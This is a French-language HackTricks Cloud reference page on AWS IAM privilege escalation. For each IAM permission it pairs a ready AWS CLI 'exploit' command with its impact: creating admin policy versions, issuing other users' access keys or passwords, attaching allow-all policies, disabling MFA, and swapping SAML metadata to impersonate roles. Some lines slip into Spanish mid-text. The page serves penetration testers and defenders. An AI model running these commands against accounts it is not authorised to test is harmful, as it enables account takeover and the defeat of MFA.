AWS - IAM Privesc
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
IAM
Pour plus d'informations sur IAM, consultez :
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Accorde la possibilité de créer une nouvelle version d'une politique IAM, en contournant le besoin de la permission iam:SetDefaultPolicyVersion en utilisant le flag --set-as-default. Cela permet de définir des permissions personnalisées.
Commande d'exploitation :
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impact : Escalade directement les privilèges en permettant toute action sur toute ressource.
iam:SetDefaultPolicyVersion
Permet de changer la version par défaut d'une politique IAM vers une autre version existante, pouvant potentiellement escalader les privilèges si la nouvelle version comporte davantage d'autorisations.
Commande Bash :
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impact: Indirect privilege escalation en autorisant des permissions supplémentaires.
iam:CreateAccessKey
Permet de créer un access key ID et un secret access key pour un autre utilisateur, ce qui peut entraîner une privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Élévation de privilèges directe en assumant les permissions étendues d'un autre utilisateur.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Permet de créer ou de mettre à jour un login profile, y compris définir des mots de passe pour la connexion à la console AWS, conduisant à une élévation de privilèges directe.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit pour la mise à jour:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact : Escalade directe des privilèges en se connectant en tant qu'utilisateur "n'importe quel".
iam:UpdateAccessKey
Permet d'activer une access key désactivée, ce qui peut conduire à un accès non autorisé si l'attaquant possède cette access key.
Exploitation :
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impact : Escalade directe de privilèges en réactivant des access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), en héritant des permissions de l'utilisateur associé.
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit pour Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: Escalade de privilèges directe au sein des permissions de service de l'utilisateur.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Permet d'attacher des policies aux utilisateurs ou groupes, escaladant directement les privilèges en héritant des permissions de la policy attachée.
Exploit pour l'utilisateur :
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit pour le groupe :
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: Élévation directe de privilèges vers tout ce que la policy accorde.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permet d'attacher ou d'ajouter des policies à des roles, users ou groups, autorisant une élévation directe de privilèges en accordant des permissions supplémentaires.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit pour les Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Vous pouvez utiliser une politique comme :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact: Direct privilege escalation en ajoutant des permissions via des policies.
iam:AddUserToGroup
Permet de s'ajouter à un groupe IAM, escalating privileges en héritant des permissions du groupe.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: Escalade de privilèges directe au niveau des autorisations du groupe.
iam:UpdateAssumeRolePolicy
Permet de modifier le document de stratégie assume role d'un rôle, permettant d'assumer ce rôle et ses autorisations associées.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Lorsque la stratégie ressemble à ce qui suit, ce qui donne à l'utilisateur l'autorisation d'assumer le rôle :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact : Élévation de privilèges directe en assumant les permissions de n'importe quel rôle.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Permet de téléverser une clé publique SSH pour s'authentifier sur CodeCommit et de désactiver des dispositifs MFA, conduisant à une possible élévation de privilèges indirecte.
Exploit pour le téléversement de la clé SSH :
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit pour la désactivation MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact: Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.
iam:ResyncMFADevice
Permet la resynchronisation d'un appareil MFA, ce qui peut entraîner une escalade de privilèges indirecte en manipulant la protection MFA.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact : Escalade de privilèges indirecte en ajoutant ou en manipulant des dispositifs MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Avec ces permissions, vous pouvez modifier les métadonnées XML de la connexion SAML. Ensuite, vous pourriez abuser de la fédération SAML pour vous connecter avec n'importe quel rôle qui lui fait confiance.
Notez que si vous faites cela les utilisateurs légitimes ne pourront pas se connecter. Cependant, vous pouvez obtenir le XML, le remplacer par le vôtre, vous connecter et ensuite restaurer la configuration précédente.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Un outil capable de générer les SAML metadata et de se connecter avec un rôle spécifié
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Incertain à ce sujet) Si un attaquant dispose de ces permissions, il pourrait ajouter un nouveau Thumbprint pour réussir à se connecter à tous les roles faisant confiance au provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Cette permission permet à un attacker de mettre à jour le permissions boundary d'un utilisateur, ce qui peut potentiellement augmenter ses privileges en lui permettant d'effectuer des actions normalement restreintes par ses permissions existantes.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Un acteur disposant de iam:PutRolePermissionsBoundary peut définir une limite de permissions (permissions boundary) sur un rôle existant. Le risque survient lorsqu'une personne ayant cette permission modifie la boundary d'un rôle : elle peut restreindre indûment des opérations (provoquant une interruption de service) ou, si elle attache une boundary permissive, étendre effectivement ce que le rôle peut faire et escalader les privilèges.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
Références
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud